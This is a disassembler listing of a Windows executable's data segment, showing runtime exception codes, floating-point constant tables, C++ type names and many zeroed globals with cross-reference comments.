off_43AC2C dd offset sub_42186A ; DATA XREF: sub_41CECC+5w
; sub_41F5D4+3E2r
off_43AC30 dd offset sub_4218D0 ; DATA XREF: sub_41CECC+14w
; sub_420445+430r
off_43AC34 dd offset sub_421810 ; DATA XREF: sub_41CECC+1Ew
; sub_41F5D4+3CBr
off_43AC38 dd offset sub_4218B8 ; DATA XREF: sub_41CECC+28w
off_43AC3C dd offset sub_421BD5 ; DATA XREF: sub_41CECC+32w
dd offset sub_42461C
align 10h
dd offset sub_42249C
off_43AC54 dd offset sub_42249C ; DATA XREF: sub_4224F2+29r
dword_43AC58 dd 0C0000005h ; DATA XREF: sub_422D37+Ar
; sub_422D37+11o ...
dword_43AC5C dd 0Bh ; DATA XREF: sub_42595E+Ar
dd 0
dd 0C000001Dh, 4, 0
dd 0C0000096h, 4, 0
db 8Dh, 0
dw 0C000h
dd 8, 0
dd 0C000008Eh, 8, 0
dd 0C000008Fh, 8, 0
db 90h
db 2 dup(0), 0C0h
dd 8, 0
dd 0C0000091h, 8, 0
dd 0C0000092h, 8, 0
dd 0C0000093h, 8, 0
dword_43ACD0 dd 3 ; DATA XREF: ___:00422C4Er
; sub_425831+C8r
dword_43ACD4 dd 7 ; DATA XREF: ___:00422C54r
; sub_425831+CDr
dword_43ACD8 dd 0Ah ; DATA XREF: sub_422D37+4r
; sub_42595E+4r
dword_43ACDC dd 8Ch ; DATA XREF: ___:00422C78r
; ___:00422C85w ...
dword_43ACE0 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_41EF78:loc_41EFF9o
; sub_41F4BF:loc_41F57Co
dword_43ACE8 dd 2 ; DATA XREF: sub_4234D1+Eo
; sub_4234D1+28r
off_43ACEC dd offset aR6002FloatingP ; DATA XREF: sub_4234D1+FCr
; sub_4234D1+12Dr
; "R6002\r\n- floating point not loaded\r\n"
dd 8, 427B5Ch, 9, 427B30h, 0Ah, 427B0Ch, 10h, 427AE0h
dd 11h, 427AB0h, 12h, 427A8Ch, 13h, 427A60h, 18h, 427A28h
dd 19h, 427A00h, 1Ah, 4279C8h, 1Bh, 427990h, 1Ch, 427968h
dd 78h, 427958h, 79h, 427948h, 7Ah, 427938h, 0FCh, 4341E4h
dd 0FFh, 427928h
off_43AD78 dd offset dword_4D9A40 ; DATA XREF: sub_4234D1+1Bo
; sub_42383E+55o
align 10h
dd offset dword_4D9A40
dd 101h
dword_43AD88 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42383E+72o
dd 1000h, 0
dword_43AD98 dd 3 dup(0) ; DATA XREF: sub_41F4BF+50o
; sub_42037B+12o
dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43ADB8 dd 3 dup(0) ; DATA XREF: sub_41F4BF+58o
; sub_42037B:loc_420399o
dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43ADE8 dd 84h dup(0) ; DATA XREF: sub_42383E+9Bo
dword_43AFF8 dd 2 dup(0) ; DATA XREF: sub_42383E+69o
dword_43B000 dd 2694h ; DATA XREF: sub_420EF6+3r
; sub_420F49+46r
align 8
dword_43B008 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_4243FCo
dword_43B020 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424412o
dword_43B038 dd 7080h ; DATA XREF: sub_422571+76r
; sub_4246FC+5Ew ...
dword_43B03C dd 1 ; DATA XREF: sub_422571+98r
; sub_4246FC+8Bw ...
dword_43B040 dd 0FFFFF1F0h ; DATA XREF: sub_422571:loc_422623r
; sub_4246FC+94w ...
off_43B044 dd offset loc_545350 ; DATA XREF: ___:off_43B0C4o
dd 0Fh dup(0)
off_43B084 dd offset dword_544450 ; DATA XREF: ___:off_43B0C8o
dd 0Fh dup(0)
off_43B0C4 dd offset off_43B044 ; DATA XREF: sub_4246FC+BAr
; sub_4246FC+D9r ...
off_43B0C8 dd offset off_43B084 ; DATA XREF: sub_4246FC+F4r
; sub_4246FC+11Br ...
align 10h
dword_43B0D0 dd 0FFFFFFFFh ; DATA XREF: sub_4246FC+1Dw
; sub_42495A+1Er ...
dword_43B0D4 dd 0 ; DATA XREF: sub_42495A:loc_424A8Er
; sub_424B06+BFw
dword_43B0D8 dd 0 ; DATA XREF: sub_42495A+192r
; sub_424B06+E0w
align 10h
dword_43B0E0 dd 0FFFFFFFFh ; DATA XREF: sub_4246FC+17w
; sub_42495A+26r ...
dword_43B0E4 dd 0 ; DATA XREF: sub_42495A+13Ar
; sub_424B06+EAw ...
dword_43B0E8 dd 0 ; DATA XREF: sub_42495A+1A1r
; sub_424B06+23r ...
dword_43B0EC dd 0FFFFFFFFh ; DATA XREF: sub_424B06+84r
dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h
dd 14Eh
dword_43B11C dd 16Dh ; DATA XREF: sub_422571+2Ar
; sub_424B06+2Er ...
dword_43B120 dd 0FFFFFFFFh ; DATA XREF: sub_424B06:loc_424B92r
dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh
dd 14Dh, 16Ch, 0
dword_43B158 dd 2 dup(0) ; DATA XREF: sub_425CB6+7o
dd 4002A000h, 2 dup(0)
dd 4005C800h, 2 dup(0)
dd 4008FA00h, 2 dup(0)
dd 400C9C40h, 2 dup(0)
; ---------------------------------------------------------------------------
push eax
retn
; ---------------------------------------------------------------------------
dw 400Fh
dd 2 dup(0)
dd 4012F424h, 0
dd 80000000h, 40169896h, 0
dd 20000000h, 4019BEBCh, 0
dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h
dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh
dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh
dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
dd 52028A20h, 7525C460h, 0
dword_43B2B8 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
; DATA XREF: sub_425CB6+1Bo
dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h
dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h
dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah
dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh
dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh
dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h
dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h
dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h
dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h
dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h
dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h
dd 4C8D2CEh, 0AD8A6DDh
off_43B414 dd offset off_427D30 ; DATA XREF: ___:00427F0Co
; ___:00427FF8o
dd 0
a_?avexception@ db '.?AVexception@@',0
off_43B42C dd offset off_427D30 ; DATA XREF: ___:off_427DC0o
; ___:00427E00o ...
dd 0
a_?avlogic_erro db '.?AVlogic_error@std@@',0
align 4
off_43B44C dd offset off_427D30 ; DATA XREF: ___:off_427E08o
; ___:00427E4Co ...
dd 0
a_?avout_of_ran db '.?AVout_of_range@std@@',0
align 4
off_43B46C dd offset off_427D30 ; DATA XREF: ___:off_427E54o
; ___:00427E98o ...
dd 0
a_?avlength_err db '.?AVlength_error@std@@',0
align 10h
off_43B490 dd offset off_427D30 ; DATA XREF: ___:off_427EA0o
; ___:00427EDCo
align 8
a_?avtype_info@ db '.?AVtype_info@@',0
dd offset sub_42461C
align 10h
dword_43B4B0 dd 2 dup(0) ; DATA XREF: sub_40111D+C8o
byte_43B4B8 db 0 ; DATA XREF: sub_40111D+62o
; ___:0040146Bo ...
align 10h
dword_43B4C0 dd 0 ; DATA XREF: ___:004015ADo
; sub_401AC7+ADFo ...
dd 5 dup(0)
dword_43B4D8 dd 0 ; DATA XREF: sub_401AC7+B3Br
; sub_415BF6+60r
dd 2D9h dup(0)
dword_43C040 dd 0 ; DATA XREF: sub_401AC7+5DD3r
; sub_401AC7+5ECDr ...
dd 7Fh dup(0)
dword_43C240 dd 0 ; DATA XREF: sub_40B3AD+41w
; sub_40B4E8+40w ...
dword_43C244 dd 0 ; DATA XREF: sub_40B3AD+47w
; sub_40B4E8+46w ...
dword_43C248 dd 0 ; DATA XREF: sub_40B3AD+52w
; sub_40B4E8+3Ar ...
dword_43C24C dd 0 ; DATA XREF: sub_40111D+Cr
; sub_4017E7+B9w ...
dword_43C250 dd 0 ; DATA XREF: sub_40B4E8+75r
; sub_40B6C9+2Aw ...
dword_43C254 dd 0 ; DATA XREF: ___:004015F9w
; ___:00401671w ...
byte_43C258 db 0 ; DATA XREF: sub_4017E7+91o
; sub_401AC7+5D21r ...
align 4
dword_43C25C dd 253Dh dup(0)
dword_445750 dd 2A3Fh dup(0) ; DATA XREF: ___:00434124o
db 0
byte_45004D db 3 dup(0) ; DATA XREF: ___:00437DE8o
dword_450050 dd 1CFCh dup(0)
db 0
byte_457441 db 3 dup(0) ; DATA XREF: ___:off_438854o
dword_457444 dd 0E306h dup(0)
dword_49005C dd 509Ch dup(0) ; DATA XREF: ___:off_4329A0o
dword_4A42CC dd 42E2h dup(0) ; DATA XREF: Themida_:00542651o
db 0
byte_4B4E55 db 3 dup(0) ; DATA XREF: ___:off_43166Co
dd 0FBh dup(0)
db 0
byte_4B5245 db 3 dup(0) ; DATA XREF: ___:off_4386C0o
dd 4F7Eh dup(0)
dword_4C9040 dd 0 ; DATA XREF: sub_40111D+FDw
; sub_40B3AD+13o ...
dword_4C9044 dd 0 ; DATA XREF: ___:0040125Ew
; sub_401AC7:loc_404474r ...
dword_4C9048 dd 0 ; DATA XREF: ___:loc_4016F9o
dword_4C904C dd 20h dup(0) ; DATA XREF: ___:004016B0o
; ___:0040174Ao ...
dword_4C90CC dd 10h dup(0) ; DATA XREF: ___:004016C6o
dword_4C910C dd 24h dup(0) ; DATA XREF: ___:004016DDo
dword_4C919C dd 0 ; DATA XREF: ___:004016D1w
; ___:00401761w ...
dword_4C91A0 dd 0 ; DATA XREF: ___:004016F0w
align 10h
dword_4C91B0 dd 0 ; DATA XREF: ___:0040135Br
dword_4C91B4 dd 0 ; DATA XREF: ___:004016FEw
; ___:00401715r ...
dword_4C91B8 dd 0 ; DATA XREF: ___:004016B5w
; sub_401AC7+899r
word_4C91BC dw 0 ; DATA XREF: sub_401AC7+7BB4o
; ___:0040AF9Co ...
align 10h
dword_4C91C0 dd 0 ; DATA XREF: sub_4098FD+4A7w
; sub_4098FD+4EBr
dword_4C91C4 dd 0 ; DATA XREF: sub_4098FD+65w
; sub_419BAA+166r
dword_4C91C8 dd 0 ; DATA XREF: sub_4098FD+80Bw
; sub_4098FD+880r ...
dword_4C91CC dd 0 ; DATA XREF: sub_4098FD+9D8w
; sub_4098FD+A43r ...
dword_4C91D0 dd 0 ; DATA XREF: sub_4098FD+98Aw
; sub_4098FD+A13r ...
dword_4C91D4 dd 0 ; DATA XREF: sub_4098FD+48Dw
; sub_4098FD+4DBr
dword_4C91D8 dd 0 ; DATA XREF: sub_4098FD+213w
; sub_4098FD+234r
dword_4C91DC dd 0 ; DATA XREF: sub_4098FD+9CBw
; sub_4098FD+A3Br ...
dword_4C91E0 dd 0 ; DATA XREF: sub_4098FD+372w
; sub_4098FD+3C7r ...
dword_4C91E4 dd 0 ; DATA XREF: sub_4098FD+40Fw
; sub_41AF2B+11Er
dword_4C91E8 dd 0 ; DATA XREF: sub_4098FD+37Fw
; sub_4098FD+3CFr ...
dword_4C91EC dd 0 ; DATA XREF: sub_4098FD+3C0w
; sub_419198+ADr
dword_4C91F0 dd 0 ; DATA XREF: sub_4098FD+55Aw
; sub_40FAA3+115r ...
dword_4C91F4 dd 0 ; DATA XREF: sub_4098FD+72w
; sub_4098FD+D2r ...
dword_4C91F8 dd 0 ; DATA XREF: sub_4098FD+97Dw
; sub_4098FD+A06r ...
dword_4C91FC dd 0 ; DATA XREF: sub_4098FD+3A6w
; sub_4098FD+3E7r ...
dword_4C9200 dd 0 ; DATA XREF: sub_4098FD+859w
; sub_4098FD+8ACr ...
dword_4C9204 dd 0 ; DATA XREF: sub_4098FD+2A5w
; sub_4098FD+2F0r
dword_4C9208 dd 0 ; DATA XREF: sub_4098FD+84Cw
; sub_4098FD+8A4r ...
dword_4C920C dd 0 ; DATA XREF: sub_4098FD+B3w
dword_4C9210 dd 0 ; DATA XREF: sub_4098FD+866w
; sub_4098FD+8B4r ...
dword_4C9214 dd 0 ; DATA XREF: sub_4098FD+54Dw
; sub_4098FD+6D0r ...
dword_4C9218 dd 0 ; DATA XREF: sub_4098FD+58w
; sub_4098FD+CAr ...
dword_4C921C dd 0 ; DATA XREF: sub_4098FD+934w
dword_4C9220 dd 0 ; DATA XREF: sub_401AC7:loc_403EAFr
; sub_4098FD+A95w ...
dword_4C9224 dd 0 ; DATA XREF: sub_4098FD+A6w
; sub_4098FD+F2r
dword_4C9228 dd 0 ; DATA XREF: sub_4098FD+480w
; sub_4098FD+4D3r
dword_4C922C dd 0 ; DATA XREF: sub_4098FD+5F6w
; sub_40C252+20r
dword_4C9230 dd 0 ; DATA XREF: sub_4098FD+9BEw
; sub_4098FD+A33r
dword_4C9234 dd 0 ; DATA XREF: sub_4098FD+5E9w
; sub_4098FD+754r ...
dword_4C9238 dd 0 ; DATA XREF: sub_4098FD+A0Cw
dword_4C923C dd 0 ; DATA XREF: sub_4098FD+B50w
; sub_40DC32+9Ar
dword_4C9240 dd 0 ; DATA XREF: sub_4098FD+7FEw
; sub_4098FD+86Dr ...
dword_4C9244 dd 0 ; DATA XREF: sub_4098FD+1B3w
; sub_40B5A8+3Do ...
dword_4C9248 dd 0 ; DATA XREF: sub_4098FD+997w
; sub_4098FD+A1Br ...
dword_4C924C dd 0 ; DATA XREF: sub_4098FD+38Cw
; sub_4098FD+3D7r ...
dword_4C9250 dd 0 ; DATA XREF: sub_4098FD+399w
; sub_4098FD+3DFr ...
dword_4C9254 dd 0 ; DATA XREF: sub_4098FD+C85w
; sub_4098FD+C8Cr
dword_4C9258 dd 0 ; DATA XREF: sub_4098FD+6ACw
; ___:0041124Er
dword_4C925C dd 0 ; DATA XREF: sub_40111D+1Dr
; sub_40111D+23r ...
dword_4C9260 dd 0 ; DATA XREF: sub_4098FD+4B4w
dword_4C9264 dd 0 ; DATA XREF: sub_4098FD+9E5w
; sub_4098FD+A4Br ...
dword_4C9268 dd 0 ; DATA XREF: sub_401000+51r
; sub_4098FD+2B2w ...
dword_4C926C dd 0 ; DATA XREF: sub_4098FD+7Fw
; sub_4098FD+DAr ...
dword_4C9270 dd 0 ; DATA XREF: sub_401AC7+588Ar
; sub_401AC7+783Br ...
dword_4C9274 dd 0 ; DATA XREF: ___:004012ADr
; sub_401AC7+5081r ...
dword_4C9278 dd 0 ; DATA XREF: sub_4098FD+825w
; sub_4098FD+890r ...
dword_4C927C dd 0 ; DATA XREF: sub_4098FD+9A4w
; sub_4098FD+A23r
dword_4C9280 dd 0 ; DATA XREF: sub_4098FD+C0Ew
; sub_4098FD+C3Fr
dword_4C9284 dd 0 ; DATA XREF: sub_4098FD+2CCw
; sub_4189DF+47r
dword_4C9288 dd 0 ; DATA XREF: sub_4098FD+22Dw
dword_4C928C dd 0 ; DATA XREF: sub_4098FD+91Aw
; sub_4098FD+92Er
dword_4C9290 dd 0 ; DATA XREF: sub_4098FD+C28w
dword_4C9294 dd 0 ; DATA XREF: sub_4098FD+2D9w
; sub_4189DF+4Fr
dword_4C9298 dd 0 ; DATA XREF: sub_4098FD+574w
; sub_4098FD+6E8r ...
dword_4C929C dd 0 ; DATA XREF: sub_4098FD+83Fw
; sub_4098FD+873r
dword_4C92A0 dd 0 ; DATA XREF: sub_4098FD+220w
; sub_4098FD+23Cr
dword_4C92A4 dd 0 ; DATA XREF: sub_4098FD+172w
; sub_4098FD+1C2r
dword_4C92A8 dd 0 ; DATA XREF: sub_401AC7+1DBEr
; sub_401AC7+5A43r ...
dword_4C92AC dd 0 ; DATA XREF: sub_4017E7+C4r
; sub_401AC7+510Br ...
dword_4C92B0 dd 0 ; DATA XREF: sub_4098FD+567w
; sub_4098FD+6DCr ...
dword_4C92B4 dd 0 ; DATA XREF: sub_4098FD+8DBw
; sub_4098FD:loc_40A1F6w ...
dword_4C92B8 dd 0 ; DATA XREF: sub_401000+26r
; sub_4098FD+28Bw ...
dword_4C92BC dd 0 ; DATA XREF: sub_401AC7+77C0r
; sub_4098FD+69Fw ...
dword_4C92C0 dd 0 ; DATA XREF: sub_4098FD+32Dw
; sub_4098FD+341r ...
dword_4C92C4 dd 0 ; DATA XREF: sub_4098FD+3B3w
; sub_4098FD+3EFr ...
dword_4C92C8 dd 0 ; DATA XREF: sub_4098FD+C01w
; sub_4098FD+C37r
dword_4C92CC dd 0 ; DATA XREF: sub_4098FD+818w
; sub_4098FD+888r ...
dword_4C92D0 dd 0 ; DATA XREF: sub_4098FD+206w
; sub_4098FD+227r
dword_4C92D4 dd 0 ; DATA XREF: sub_4098FD+18Cw
; sub_4098FD+1D2r ...
dword_4C92D8 dd 0 ; DATA XREF: sub_4098FD+832w
; sub_4098FD+898r ...
dword_4C92DC dd 0 ; DATA XREF: sub_4098FD+624w
; sub_4098FD+774r
dword_4C92E0 dd 0 ; DATA XREF: sub_401000+5Ar
; sub_4098FD+2BFw ...
dword_4C92E4 dd 0 ; DATA XREF: sub_4098FD+66Bw
; sub_4098FD+79Cr ...
dword_4C92E8 dd 0 ; DATA XREF: sub_4098FD+320w
; sub_4098FD+334r ...
dword_4C92EC dd 0 ; DATA XREF: sub_4098FD+644w
; sub_4098FD+784r ...
dword_4C92F0 dd 0 ; DATA XREF: sub_4098FD+44Cw
; sub_4098FD+4AEr
dword_4C92F4 dd 0 ; DATA XREF: sub_4098FD+199w
; sub_4098FD+1DAr ...
dword_4C92F8 dd 0 ; DATA XREF: sub_4098FD+365w
; sub_4098FD+3BAr ...
dword_4C92FC dd 0 ; DATA XREF: sub_4098FD+AA2w
dword_4C9300 dd 0 ; DATA XREF: sub_4098FD+5DCw
; sub_4098FD+748r ...
dword_4C9304 dd 0 ; DATA XREF: sub_4017E7+3Er
; sub_401AC7+50BDr ...
dword_4C9308 dd 0 ; DATA XREF: sub_4098FD+4Bw
; sub_4098FD+C2r ...
dword_4C930C dd 0 ; DATA XREF: sub_4098FD+473w
; sub_4098FD+4CBr
dword_4C9310 dd 0 ; DATA XREF: sub_4098FD+165w
; sub_4098FD+1BAr ...
dword_4C9314 dd 0 ; DATA XREF: sub_4098FD+9FFw
; sub_4098FD+A5Br ...
dword_4C9318 dd 0 ; DATA XREF: sub_4098FD+685w
; sub_4098FD+7ACr ...
dword_4C931C dd 0 ; DATA XREF: sub_40194F+D1r
; sub_401AC7+5120r ...
dword_4C9320 dd 0 ; DATA XREF: sub_4098FD+C1Bw
; sub_4098FD+C47r
dword_4C9324 dd 0 ; DATA XREF: sub_4098FD+3Ew
; sub_4098FD+BAr ...
dword_4C9328 dd 0 ; DATA XREF: sub_401000+45r
; sub_4098FD+298w ...
dword_4C932C dd 0 ; DATA XREF: sub_4098FD+651w
; sub_4098FD+78Cr ...
dword_4C9330 dd 0 ; DATA XREF: sub_4098FD+637w
; sub_4098FD+77Cr ...
dword_4C9334 dd 0 ; DATA XREF: sub_4098FD+C92w
dword_4C9338 dd 0 ; DATA XREF: sub_4098FD+879w
; ___:00416C30r ...
dword_4C933C dd 0 ; DATA XREF: sub_4098FD+112w
dword_4C9340 dd 0 ; DATA XREF: sub_4098FD+BE7w
; sub_4098FD+C22r
dword_4C9344 dd 0 ; DATA XREF: sub_401AC7+2FC3r
; sub_401AC7+5EFCr ...
dword_4C9348 dd 0 ; DATA XREF: sub_4098FD+459w
; sub_4098FD+4BBr
dword_4C934C dd 0 ; DATA XREF: sub_4098FD+49Aw
; sub_4098FD+4E3r
dword_4C9350 dd 0 ; DATA XREF: sub_4098FD+466w
; sub_4098FD+4C3r
dword_4C9354 dd 0 ; DATA XREF: sub_40194F+89r
; sub_401AC7+513Dr ...
dword_4C9358 dd 0 ; DATA XREF: sub_4098FD+1A6w
; sub_4098FD+1E2r ...
dword_4C935C dd 0 ; DATA XREF: sub_4098FD+9F2w
; sub_4098FD+A53r ...
dword_4C9360 dd 0 ; DATA XREF: sub_4098FD+158w
; sub_4098FD+1ADr ...
dword_4C9364 dd 0 ; DATA XREF: sub_4098FD+8Cw
; sub_4098FD+E2r ...
dword_4C9368 dd 0 ; DATA XREF: sub_4098FD+610w
; sub_4098FD+764r ...
dword_4C936C dd 0 ; DATA XREF: sub_4098FD+B43w
; sub_4098FD+B5Fr
dword_4C9370 dd 0 ; DATA XREF: sub_4098FD+33Aw
; sub_419B3F+55r
dword_4C9374 dd 0 ; DATA XREF: sub_4098FD+27Ew
; sub_4098FD+2D3r ...
dword_4C9378 dd 0 ; DATA XREF: sub_4098FD+BAAw
dword_4C937C dd 0 ; DATA XREF: sub_4098FD+AECw
; sub_40A91C+CEr
dword_4C9380 dd 0 ; DATA XREF: sub_4098FD+ADFw
; sub_4098FD+AE6r ...
dword_4C9384 dd 0 ; DATA XREF: sub_4017E7+A6r
; sub_401AC7+509Cr ...
dword_4C9388 dd 0 ; DATA XREF: sub_401AC7+508Er
; sub_401AC7+77E7r ...
dword_4C938C dd 0 ; DATA XREF: sub_4098FD+BF4w
; sub_4098FD+C2Fr
dword_4C9390 dd 0 ; DATA XREF: sub_401AC7+1DE4r
; sub_401AC7+5A69r ...
dword_4C9394 dd 0 ; DATA XREF: sub_4098FD+9B1w
; sub_4098FD+A2Br ...
dword_4C9398 dd 0 ; DATA XREF: sub_4098FD+65Ew
; sub_4098FD+794r ...
dword_4C939C dd 0 ; DATA XREF: sub_40111D+12r
; sub_4017E7+D0r ...
dword_4C93A0 dd 0 ; DATA XREF: sub_4098FD+59Bw
; sub_4098FD+70Cr ...
dword_4C93A4 dd 0 ; DATA XREF: sub_4098FD+B36w
; sub_4098FD+B57r ...
dword_4C93A8 dd 0 ; DATA XREF: sub_4098FD+540w
; sub_4098FD+6C4r ...
dword_4C93AC dd 0 ; DATA XREF: sub_4098FD+B29w
; sub_4098FD+B4Ar
dword_4C93B0 dd 0 ; DATA XREF: ___:00401273r
; sub_4098FD+31w ...
dword_4C93B4 dd 0 ; DATA XREF: sub_4098FD+17Fw
; sub_4098FD+1CAr
dd 0
dword_4C93BC dd 0 ; DATA XREF: sub_4098FD+927w
; sub_4098FD+93Br
dword_4C93C0 dd 0 ; DATA XREF: sub_4098FD+99w
; sub_4098FD+EAr ...
dword_4C93C4 dd 0 ; DATA XREF: sub_4098FD:loc_4099FBw
; sub_4098FD+12Bw ...
dword_4C93C8 dd 0 ; DATA XREF: sub_4098FD+126w
; sub_40A5B9+1Cr
dword_4C93CC dd 0 ; DATA XREF: sub_4098FD:loc_409AEBw
; sub_4098FD:loc_409B52w ...
dword_4C93D0 dd 0 ; DATA XREF: sub_4098FD+250w
; sub_40A5B9+50r
dword_4C93D4 dd 0 ; DATA XREF: ___:00401567r
; sub_401AC7+4466r ...
dword_4C93D8 dd 0 ; DATA XREF: sub_4098FD+41Ew
; sub_40A5B9+84r
dword_4C93DC dd 0 ; DATA XREF: sub_4098FD:loc_409E01w
; sub_40A5B9:loc_40A669r
dword_4C93E0 dd 0 ; DATA XREF: sub_4098FD+4FFw
; sub_40A5B9+B8r
dword_4C93E4 dd 0 ; DATA XREF: sub_4098FD:loc_40A0D2w
; sub_40A5B9:loc_40A69Dr
dword_4C93E8 dd 0 ; DATA XREF: sub_4098FD+7D0w
; sub_40A5B9+ECr
dword_4C93EC dd 0 ; DATA XREF: sub_4098FD:loc_40A1BDw
; sub_4098FD+8EFw ...
dword_4C93F0 dd 0 ; DATA XREF: sub_4098FD+8EAw
; sub_40A5B9+120r
dword_4C93F4 dd 0 ; DATA XREF: sub_401AC7:loc_406E82r
; sub_4098FD:loc_40A251w ...
dword_4C93F8 dd 0 ; DATA XREF: sub_4098FD+94Fw
; sub_40A5B9+154r
dword_4C93FC dd 0 ; DATA XREF: sub_401AC7+446Er
; sub_4098FD:loc_40A36Dw ...
dword_4C9400 dd 0 ; DATA XREF: sub_4098FD+A6Bw
; sub_40A5B9+188r
dword_4C9404 dd 0 ; DATA XREF: sub_4098FD:loc_40A3B7w
; sub_40A5B9:loc_40A76Dr
dword_4C9408 dd 0 ; DATA XREF: sub_4098FD+AB5w
; sub_40A5B9+1BCr
dword_4C940C dd 0 ; DATA XREF: sub_4098FD:loc_40A401w
; sub_40A5B9:loc_40A7A1r
dword_4C9410 dd 0 ; DATA XREF: sub_4098FD+AFFw
; sub_40A5B9+1F0r
dword_4C9414 dd 0 ; DATA XREF: sub_4098FD:loc_40A475w
; sub_40A5B9:loc_40A7D5r
dword_4C9418 dd 0 ; DATA XREF: sub_4098FD+B73w
; sub_40A5B9+224r
dword_4C941C dd 0 ; DATA XREF: sub_4098FD:loc_40A4BFw
; sub_40A5B9:loc_40A809r
dword_4C9420 dd 0 ; DATA XREF: sub_4098FD+BBDw
; sub_40A5B9+258r
dword_4C9424 dd 0 ; DATA XREF: sub_4098FD:loc_40A55Dw
; sub_40A5B9:loc_40A83Dr
dword_4C9428 dd 0 ; DATA XREF: sub_4098FD+C5Bw
; sub_40A5B9+28Cr
dword_4C942C dd 0 ; DATA XREF: sub_4098FD:loc_40A5A7w
; sub_40A5B9:loc_40A871r
dword_4C9430 dd 0 ; DATA XREF: sub_4098FD+CA5w
; sub_40A5B9+2C0r
dword_4C9434 dd 5 dup(0) ; DATA XREF: sub_40A9FA+32o
byte_4C9448 db 0 ; DATA XREF: sub_40B2A6+6Ar
; sub_40B2A6+98w
align 10h
dword_4C9450 dd 0 ; DATA XREF: sub_40BD05+18r
; sub_40C29A+92w ...
dword_4C9454 dd 0 ; DATA XREF: sub_40C3D3+4Dr
; sub_40C3D3+2EDw ...
dd 7FEh dup(0)
dword_4CB450 dd 6 dup(0) ; DATA XREF: sub_40C3D3+CFo
; sub_40C3D3+138o ...
dword_4CB468 dd 0 ; DATA XREF: sub_40BD7C+2C4w
; sub_40BD7C+348o
dword_4CB46C dd 0 ; DATA XREF: sub_40BD7C+33Ew
; sub_40BD7C+35Ar
dword_4CB470 dd 0 ; DATA XREF: sub_40BD7C+2CFw
dword_4CB474 dd 0 ; DATA XREF: sub_40BD7C+2B9w
; sub_40BD7C:loc_40C091r
dword_4CB478 dd 20h dup(0) ; DATA XREF: sub_40BD7C+2E2o
; sub_40BD7C+302o
dword_4CB4F8 dd 0 ; DATA XREF: sub_40BD7C+2D5w
dword_4CB4FC dd 0 ; DATA XREF: sub_40BD7C+2EFw
; sub_40BD7C+30Fw
dword_4CB500 dd 0 ; DATA XREF: sub_40BD7C:loc_40C0ECr
align 8
dword_4CB508 dd 0 ; DATA XREF: sub_40BD7C+82w
; sub_40BD7C+101o
dword_4CB50C dd 41h dup(0) ; DATA XREF: sub_40BD7C+41o
dword_4CB610 dd 41h dup(0) ; DATA XREF: sub_40BD7C+69o
dword_4CB714 dd 0 ; DATA XREF: sub_40BD7C+F7w
; sub_40BD7C+113r
dword_4CB718 dd 0 ; DATA XREF: sub_40BD7C+52w
dword_4CB71C dd 0 ; DATA XREF: sub_40BD7C+4Dw
; sub_40BD7C+D4r
dword_4CB720 dd 20h dup(0) ; DATA XREF: sub_40BD7C+9Ao
; sub_40BD7C+BAo
dword_4CB7A0 dd 0 ; DATA XREF: sub_40BD7C+8Fw
dword_4CB7A4 dd 0 ; DATA XREF: sub_40BD7C+A7w
; sub_40BD7C+C7w
dword_4CB7A8 dd 0 ; DATA XREF: sub_40BD7C:loc_40BEA5r
align 10h
dword_4CB7B0 dd 0 ; DATA XREF: sub_40BD7C+1A5w
; sub_40BD7C+225o
dword_4CB7B4 dd 41h dup(0) ; DATA XREF: sub_40BD7C+167o
